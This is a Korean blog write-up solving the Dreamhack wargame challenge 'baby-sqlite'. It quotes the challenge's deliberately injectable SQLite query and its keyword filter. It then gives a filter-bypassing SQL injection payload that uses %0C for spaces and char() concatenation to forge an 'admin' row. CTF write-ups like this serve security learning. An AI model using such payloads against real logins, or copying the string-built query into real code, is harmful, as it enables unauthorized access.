본문 바로가기

드림핵

[드림핵 워게임] baby-sqlite

<문제>

 

<풀이>

문제 사이트에 처음 접속하면 보이는 페이지이다.

 

/login으로 들어가면 로그인 폼을 볼 수 있다.

 

if __name__ == '__main__':
    os.system('rm -rf %s' % DATABASE)
    with app.app_context():
        conn = get_db()
        conn.execute('CREATE TABLE users (uid text, upw text, level integer);')
        conn.execute("INSERT INTO users VALUES ('dream','cometrue', 9);")
        conn.commit()

코드를 살펴보면 테이블 구조와 INSERT된 레코드 한 줄을 볼 수 있다.

 

해당 계정으로 로그인을 해보면

 

Good! 이라는 결과가 뜬다.

 

    with app.app_context():
        conn = get_db()
        query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
        try:
            req = conn.execute(query)
            result = req.fetchone()

            if result is not None:
                uid = result[0]
                if uid == 'admin':
                    return FLAG
        except:
            return 'Error!'
    return 'Good!'

입력한 uid, upw와 level을 대입해서 SELECT 문을 완성하고 조회된 레코드의 uid가 admin이면 FLAG를 출력한다.

Good!이라는 결과는 uid가 admin이 아니거나 Error가 발생하지 않았을 때 뜨는 결과이다.

 

    uid = request.form.get('uid', '').lower()
    upw = request.form.get('upw', '').lower()
    level = request.form.get('level', '9').lower()

    sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
    for x in sqli_filter:
        if uid.find(x) != -1:
            return 'No Hack!'
        if upw.find(x) != -1:
            return 'No Hack!'
        if level.find(x) != -1:
            return 'No Hack!'

uid, upw, level에 적절한 값을 입력하여 sql injection 공격을 성공시켜야 하는데,

filter를 우회해야 한다.

Single quote와 double quote가 filtering 되고 있으므로

자료형이 integer여서 따옴표 우회가 필요없는 level에 페이로드를 작성할 것이다.

 

Burp Suite를 이용해 로그인폼을 전송하는 패킷을 intercept해서

파라미터를 변조한다.

 

level에 아무 값도 입력하지 않으면 기본값이 9로 전송되지만,

값을 넣어주면 해당 페이로드를 보낼 수 있다.

 

level파라미터에

1%0Cunion%0Cvalues(char(97)||char(100)||char(109)||char(105)||char(110))

을 입력할 것이다.

 

%0C는 띄어쓰기를 우회하기 위한 것이다.

values() 함수는 데이터를 삽입하는 기능을 한다.

char()는 매개변수의 정수값에 대응되는 아스키 문자를 반환한다.

위의 페이로드에 입력한 문자는 admin이다.

 

이렇게 입력하면 완성되는 쿼리문은 아래와 같다.

 

SELECT uid FROM users

WHERE uid='1234' and upw='1234' and level=1 union values(char(97)||char(100)||char(109)||char(105)||char(110));

 

그러면 uid가 admin으로 조회되어 조건문을 통해 FLAG가 출력된다.

 

FLAG가 출력되었다.